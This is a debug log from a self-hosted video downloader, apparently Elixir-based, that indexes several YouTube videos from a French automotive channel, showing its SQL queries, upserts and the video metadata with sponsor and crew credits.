s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:33:54.226 [debug] QUERY OK source="media_items" db=1.3ms queue=0.1ms idle=1215.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-11 16:15:10Z], 3] 06:33:54.231 [debug] QUERY OK source="media_items" db=3.5ms queue=0.1ms idle=1217.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Un grand merci à Autopremium Chantilly pour le prêt de ce bijou 🙏 : \n👉https://www.instagram.com/autopremiumchantilly/\n\nMerci également à Optic 2000 pour la paire de Ray-Ban Meta très chouette : \n👉https://www.instagram.com/optic2000_clermont/ \n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les live, ça reprend bientôt promis :\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Laurane Da Silva : Chargée de Production\n- Cadreur : Lucas Colomes - ENKOR FILMS https://www.enkorfilms.com\n- Montage : Axel - https://www.instagram.com/axl.edit/?hl=fr\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\nMerci également à Clem pour son aide sur le tournage 🙏 ❤️\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nDes bisous.\n\n#ferrari #spider #drift", "Une page se tourne (vite) - Ferrari 458 Spider", "e7938da5-b35e-45bb-8fd0-9f92a5770525", "yvQpJX1V07U", 1850, false, "https://www.youtube.com/watch?v=yvQpJX1V07U", 9, "/downloads/Père Chabrier/2025-04-11 Une page se tourne (vite) - Ferrari 458 Spider/Une page se tourne (vite) - Ferrari 458 Spider [yvQpJX1V07U].mkv", false, false, false, 3, [], 98, ~U[2025-04-11 16:15:10Z], ~U[2026-04-20 04:33:54Z], ~U[2026-04-20 04:33:54Z], "Un grand merci à Autopremium Chantilly pour le prêt de ce bijou 🙏 : \n👉https://www.instagram.com/autopremiumchantilly/\n\nMerci également à Optic 2000 pour la paire de Ray-Ban Meta très chouette : \n👉https://www.instagram.com/optic2000_clermont/ \n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les live, ça reprend bientôt promis :\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Laurane Da Silva : Chargée de Production\n- Cadreur : Lucas Colomes - ENKOR FILMS https://www.enkorfilms.com\n- Montage : Axel - https://www.instagram.com/axl.edit/?hl=fr\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\nMerci également à Clem pour son aide sur le tournage 🙏 ❤️\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nDes bisous.\n\n#ferrari #spider #drift", "Une page se tourne (vite) - Ferrari 458 Spider", "yvQpJX1V07U", 1850, false, "https://www.youtube.com/watch?v=yvQpJX1V07U", "/downloads/Père Chabrier/2025-04-11 Une page se tourne (vite) - Ferrari 458 Spider/Une page se tourne (vite) - Ferrari 458 Spider [yvQpJX1V07U].mkv", false, 3, ~U[2025-04-11 16:15:10Z]] 06:33:54.234 [debug] QUERY OK source="sources" db=1.6ms queue=0.1ms idle=315.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:33:54.236 [debug] QUERY OK source="media_profiles" db=1.4ms queue=0.2ms idle=11.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:33:54.239 [debug] QUERY OK source="media_items" db=1.5ms queue=0.1ms idle=12.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [731] 06:33:54.239 [debug] Current batch of media processed. Will check again in 1000ms 06:33:55.240 [debug] Current batch of media processed. Will check again in 1000ms 06:33:56.241 [debug] Current batch of media processed. Will check again in 1000ms 06:33:57.242 [debug] Current batch of media processed. Will check again in 1000ms 06:33:58.243 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Second épisode de la série enquête, n'hésitez pas à poser vos questions en commentaire pour choisir le thème du prochain épisode 🕵️\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les live, ça reprend bientôt promis :\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Laurane Da Silva : Chargée de Production\n- Ecriture : Maxime Thoroud \n- Montage : Axel - https://www.instagram.com/axl.edit/\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nDes bisous.\n\n#pub #voiture #peugeot", "duration" => 1944, "filename" => "/downloads/Père Chabrier/2025-03-28 Les PIRES et les MEILLEURES pubs automobiles - Enquête #2/Les PIRES et les MEILLEURES pubs automobiles - Enquête #2 [R6OfXMf3nvw].mkv", "id" => "R6OfXMf3nvw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=R6OfXMf3nvw", "playlist_index" => 10, "timestamp" => 1743182101, "title" => "Les PIRES et les MEILLEURES pubs automobiles - Enquête #2", "upload_date" => "20250328"} 06:33:58.244 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=278.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 06:33:58.246 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=234.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:33:58.248 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=235.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-28 17:15:01Z], 3] 06:33:58.251 [debug] QUERY OK source="media_items" db=1.9ms idle=237.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Second épisode de la série enquête, n'hésitez pas à poser vos questions en commentaire pour choisir le thème du prochain épisode 🕵️\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les live, ça reprend bientôt promis :\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Laurane Da Silva : Chargée de Production\n- Ecriture : Maxime Thoroud \n- Montage : Axel - https://www.instagram.com/axl.edit/\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nDes bisous.\n\n#pub #voiture #peugeot", "Les PIRES et les MEILLEURES pubs automobiles - Enquête #2", "51030020-fa5c-43d4-940e-604bbc90845e", "R6OfXMf3nvw", 1944, false, "https://www.youtube.com/watch?v=R6OfXMf3nvw", 10, "/downloads/Père Chabrier/2025-03-28 Les PIRES et les MEILLEURES pubs automobiles - Enquête #2/Les PIRES et les MEILLEURES pubs automobiles - Enquête #2 [R6OfXMf3nvw].mkv", false, false, false, 3, [], 98, ~U[2025-03-28 17:15:01Z], ~U[2026-04-20 04:33:58Z], ~U[2026-04-20 04:33:58Z], "Second épisode de la série enquête, n'hésitez pas à poser vos questions en commentaire pour choisir le thème du prochain épisode 🕵️\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les live, ça reprend bientôt promis :\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Laurane Da Silva : Chargée de Production\n- Ecriture : Maxime Thoroud \n- Montage : Axel - https://www.instagram.com/axl.edit/\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nDes bisous.\n\n#pub #voiture #peugeot", "Les PIRES et les MEILLEURES pubs automobiles - Enquête #2", "R6OfXMf3nvw", 1944, false, "https://www.youtube.com/watch?v=R6OfXMf3nvw", "/downloads/Père Chabrier/2025-03-28 Les PIRES et les MEILLEURES pubs automobiles - Enquête #2/Les PIRES et les MEILLEURES pubs automobiles - Enquête #2 [R6OfXMf3nvw].mkv", false, 3, ~U[2025-03-28 17:15:01Z]] 06:33:58.252 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=240.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:33:58.254 [debug] QUERY OK source="media_profiles" db=0.7ms queue=0.1ms idle=8.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:33:58.255 [debug] QUERY OK source="media_items" db=0.5ms idle=8.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [732] 06:33:58.255 [debug] Current batch of media processed. Will check again in 1000ms 06:33:59.256 [debug] Current batch of media processed. Will check again in 1000ms 06:34:00.257 [debug] Current batch of media processed. Will check again in 1000ms 06:34:00.717 [info] {"source":"oban","duration":510,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 06:34:01.258 [debug] Current batch of media processed. Will check again in 1000ms 06:34:02.260 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Re ! Merci du soutien pour la chaine, comme vous le savez ça aide l'algo d'interagir avec le contenu en commentant, en le likant et en le partageant. 🫶\n\nMerci à Autopremium Chantilly pour le prêt de cette magnifique e63s🙏 : \n👉https://www.instagram.com/autopremiumchantilly/\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les live, ça reprend bientôt promis :\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Laurane Da Silva : Chargée de Production\n- Cadreur : Lucas Colomes - ENKOR FILMS https://www.enkorfilms.com\n- Montage : Axel - https://www.instagram.com/axl.edit/?hl=fr\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nDes bisous.\n\n#amg #autobahn #drift", "duration" => 1767, "filename" => "/downloads/Père Chabrier/2025-03-21 La classe E, comme "EH BEEEH ELLE MARCHE L'AUTO" - Mercedes E63s finition Autobahnkiller/La classe E, comme "EH BEEEH ELLE MARCHE L'AUTO" - Mercedes E63s finition Autobahnkiller [Pvm-_HSuk3g].mkv", "id" => "Pvm-_HSuk3g", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Pvm-_HSuk3g", "playlist_index" => 11, "timestamp" => 1742577302, "title" => "La classe E, comme \"EH BEEEH ELLE MARCHE L'AUTO\" - Mercedes E63s finition Autobahnkiller", "upload_date" => "20250321"} 06:34:02.261 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=1076.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 06:34:02.263 [debug] QUERY OK source="sources" db=0.7ms queue=0.4ms idle=278.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:34:02.266 [debug] QUERY OK source="media_items" db=1.5ms queue=0.6ms idle=252.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-21 17:15:02Z], 3] 06:34:02.350 [debug] QUERY OK source="media_items" db=83.1ms idle=255.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Re ! Merci du soutien pour la chaine, comme vous le savez ça aide l'algo d'interagir avec le contenu en commentant, en le likant et en le partageant. 🫶\n\nMerci à Autopremium Chantilly pour le prêt de cette magnifique e63s🙏 : \n👉https://www.instagram.com/autopremiumchantilly/\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les live, ça reprend bientôt promis :\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Laurane Da Silva : Chargée de Production\n- Cadreur : Lucas Colomes - ENKOR FILMS https://www.enkorfilms.com\n- Montage : Axel - https://www.instagram.com/axl.edit/?hl=fr\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nDes bisous.\n\n#amg #autobahn #drift", "La classe E, comme \"EH BEEEH ELLE MARCHE L'AUTO\" - Mercedes E63s finition Autobahnkiller", "2271ce8f-a285-4cdc-9f0a-bc34014b4992", "Pvm-_HSuk3g", 1767, false, "https://www.youtube.com/watch?v=Pvm-_HSuk3g", 11, "/downloads/Père Chabrier/2025-03-21 La classe E, comme "EH BEEEH ELLE MARCHE L'AUTO" - Mercedes E63s finition Autobahnkiller/La classe E, comme "EH BEEEH ELLE MARCHE L'AUTO" - Mercedes E63s finition Autobahnkiller [Pvm-_HSuk3g].mkv", false, false, false, 3, [], 98, ~U[2025-03-21 17:15:02Z], ~U[2026-04-20 04:34:02Z], ~U[2026-04-20 04:34:02Z], "Re ! Merci du soutien pour la chaine, comme vous le savez ça aide l'algo d'interagir avec le contenu en commentant, en le likant et en le partageant. 🫶\n\nMerci à Autopremium Chantilly pour le prêt de cette magnifique e63s🙏 : \n👉https://www.instagram.com/autopremiumchantilly/\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les live, ça reprend bientôt promis :\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Laurane Da Silva : Chargée de Production\n- Cadreur : Lucas Colomes - ENKOR FILMS https://www.enkorfilms.com\n- Montage : Axel - https://www.instagram.com/axl.edit/?hl=fr\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nDes bisous.\n\n#amg #autobahn #drift", "La classe E, comme \"EH BEEEH ELLE MARCHE L'AUTO\" - Mercedes E63s finition Autobahnkiller", "Pvm-_HSuk3g", 1767, false, "https://www.youtube.com/watch?v=Pvm-_HSuk3g", "/downloads/Père Chabrier/2025-03-21 La classe E, comme "EH BEEEH ELLE MARCHE L'AUTO" - Mercedes E63s finition Autobahnkiller/La classe E, comme "EH BEEEH ELLE MARCHE L'AUTO" - Mercedes E63s finition Autobahnkiller [Pvm-_HSuk3g].mkv", false, 3, ~U[2025-03-21 17:15:02Z]] 06:34:02.353 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=339.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:34:02.354 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.6ms idle=92.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:34:02.356 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=92.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [733] 06:34:02.358 [debug] Current batch of media processed. Will check again in 1000ms 06:34:03.361 [debug] Current batch of media processed. Will check again in 1000ms 06:34:04.363 [debug] Current batch of media processed. Will check again in 1000ms 06:34:05.364 [debug] Current batch of media processed. Will check again in 1000ms 06:34:06.368 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Un immense merci à toutes les personnes qui ont contribué à ce projet, que ce soit de près ou de loin. \n\nCi-joint, la liste de toutes les personnes talentueuses qui ont travaillé sur ce court-métrage : \n\n- Écrit et réalisé par Raphaël Chiche https://www.instagram.com/raphchiche.mov/ \n\n- Production exécutive ENKOR Films https://www.instagram.com/enkorfilms/\n\n- Producteur exécutif : Raphaël Chiche https://www.instagram.com/raphchiche.mov/ \n- Directrice de production : Fanny Alberny https://www.instagram.com/fannyalberny/\n- Chargée de production : Laurane Da Silva \n- Assistante de production : Fanny Gerard \n\n- Chef opérateur : Baptiste Jung https://www.instagram.com/baptistejung_dop/\n- 1er assistant opérateur : Nolan Joigne https://www.instagram.com/nolan_jgn/\n- Chef électricien : Clément Girollet https://www.instagram.com/clmtyy/\n- Électricien : Raphaël Vignes https://www.instagram.com/raph_s.w/\n\n- Ingénieur du son : Valentin Blavette https://www.instagram.com/valentin_blvt/\n\n- Cheffe décoratrice : Margo Durance\n- Assistante décoratrice : Solène Pauvert \n\n- Régisseuse générale : Cassandra Borie\n- Renfort régie : Maxime Le Moal https://www.instagram.com/maxlm29/\n\n- Cheffe maquilleuse : Mathilde Leroy \n\n- Chef monteur : Louis Descombes https://www.instagram.com/descombes_louis/\n- Monteur additionnel : Axel Canut https://www.instagram.com/axl.edit/\n- Etalonnage : https://www.instagram.com/baptistejung_dop/\n- Graphiste : Pi3rrebsi https://www.instagram.com/pi3rrebsi/\n\n- Photographe de plateau : Laurane Meimoun https://www.instagram.com/pointzipraw/\n- Making-of : Clara Clément\u00A0https://www.instagram.com/cltclara/\n\n- Dresseuse : Cécile Parquet https://www.instagram.com/cecileparquetstunt/\n\nAvec dans le rôle de : \n\n- Jean-Gab : Raphaël Distier \n- Le mécano : Thiebault Carlier\n- La coiffeuse : Cassandra Borie\n- L'ivrogne : Bruno Galvan Y Garcia\n_____________________________________\n\nMerci à Aymeric et Stéphane de Fly and Fun pour le prêt de leur avion👉 https://www.flyandfun.fr/ \nMerci à Fabienne du Thiverny Club pour le prêt de son bar et sa gentillesse. \nMerci à Nicolas et à son équipe d'Autopremimum Chantilly. \nMerci au Château de Troissereux et à Delphine. \nMerci au propriétaire de la De Tomaso Pantera. \nMerci à Cécile et à son fidèle destrier Cali. \nMerci à mes parents, à ma grand-mère, à Cassandra, Justin, Léa, Maxime, Justine, Angèle, Emma, Attiana et Gaëlle. \nMerci aux comédiens, Raphaël, Thiebault et Bruno. \nMerci à Enzo et Antony, les figurants de la Racebox. \nMerci à mon équipe, Julien, Axel, Laurane et Pierre. \nMerci à Julie et Xavier de Balboa et merci à Félix de SOS Ciné. \n\nUn énorme merci à toute l'équipe de tournage. \n\n‼️ Aucunes des personnes nommées ou reconnues dans le film n’ont à subir d’harcèlement lié à cette histoire. Merci pour votre compréhension. 🫶🏼\n\n#menthe #comte #car", "duration" => 926, "filename" => "/downloads/Père Chabrier/2025-02-21 La véritable histoire du Comte de Menthe et Cristaux/La véritable histoire du Comte de Menthe et Cristaux [wJyc7DId9kU].mkv", "id" => "wJyc7DId9kU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=wJyc7DId9kU", "playlist_index" => 12, "timestamp" => 1740158107, "title" => "La véritable histoire du Comte de Menthe et Cristaux", "upload_date" => "20250221"} 